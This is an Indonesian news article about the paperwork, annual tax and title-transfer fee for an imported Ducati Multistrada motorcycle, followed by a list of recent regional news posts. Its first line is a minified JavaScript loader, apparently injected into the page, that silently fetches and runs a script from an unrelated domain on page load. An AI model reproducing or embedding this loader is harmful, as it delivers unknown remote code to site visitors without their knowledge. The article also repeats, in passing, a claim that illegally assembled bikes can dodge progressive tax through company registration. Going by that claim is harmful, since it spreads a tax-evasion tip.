(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Begini Kelengkapan Dokumen Moge Ducati, Bea Balik Nama Tembus Rp30 Juta


KANALKALIMANTAN.COM – Beberapa orang penasaran apa saja sih kelengkapan dokumen pemilik moge. Pemilik akun Facebook bernama Ranggie Ragatha kini membeberkan semuanya.

Menurut pengalamannya, ternyata terdapat 4 dokumen penting yang wajib dimiliki untuk pemilik moge.

BPKB moge Ducati Multistrada. Foto: Facebook

Ia menceritakan kalau dirinya memiliki moge Ducati Multistrada. Keempat dokumen ketika membeli moge tersebut terdiri dari BPKB, Form A (Surat Keterangan Impor), Faktur Pembelian, dan STNK.

 

 

Baca juga: Satgas Waspada Investasi Setop Operasional 3.365 Pinjol Ilegal

Biasanya, untuk motor lokal hanya terdiri dari 3 surat saja yakni BPKB, STNK, dan Faktur Pembelian. Namun pada moge Ducati Multistrada miliknya tambah satu, yakni Form A.

Ia menceritakan kalau biasanya pihak dealer mengurus semua dokumen tersebut. Namun jika melewati Importir Umum, biasanya mengurus surat-suratnya sendiri.

STNK moge Ducati Multistrada. Foto: Facebook

Form A Ducati Multistrada. Foto: Facebook

Rata-rata butuh waktu beberapa bulan sampai satu tahun hingga semua dokumen keluar. Ia juga menceritakan jika membeli moge ilegal, ternyata beberapa komponen motor dipreteli.

Lalu ketika semua komponen tersebut sudah sampai di Indonesia, barulah dirakit.

Mengenai pajak motor ilegal hasil rakitan sendiri, ternyata bisa diakali dengan menggunakan nama perusahaan dengan alasan agar tidak kena pajak progresif.

Ia pun curhat mengenai pajak tahunan untuk moge Ducati Multistrada. Pajaknya ternyata hanya Rp 4 juta saja lho.

Namun untuk biaya BBN-KB ternyata malah tembus di angka Rp 30 jutaan.

Baca juga: KABAR BAIK. Pasien Sembuh Covid-19 di Banjarbaru Hari Ini Capai 245 Orang

BBN-KB kepanjangannya adalah Bea Balik Nama Kendaraan Bermotor. Ini adalah biaya yang dibebankan untuk perubahan kepemilikan dan pergantian kepemilikan kendaraan dari satu ke pemilik yang lainnya.

Curhatan ini pun viral di media sosial dan mendapatkan respons dari warganet di kolom komentar.

“Liat pajaknya ginjal sya jdi goyang dikit saking kagetnya,” tulis salah seorang warganet.

“Satu tahun pajak = 2 motor mber bekas,” beber warganet lain. (Suara.com)

Editor : kk


Risa

Recent Posts

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

16 menit ago

Pj Bupati Kapuas Halalbihalal Bersama Ibu-ibu Pengajian

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More

1 jam ago

Pansus II ke KLHK, Bahas Raperda Pengakuan dan Perlindungan Masyarakat Hukum Adat

KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More

1 jam ago

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More

1 jam ago

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

12 jam ago

Rekayasa Pemasangan ATCS, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

14 jam ago

This website uses cookies.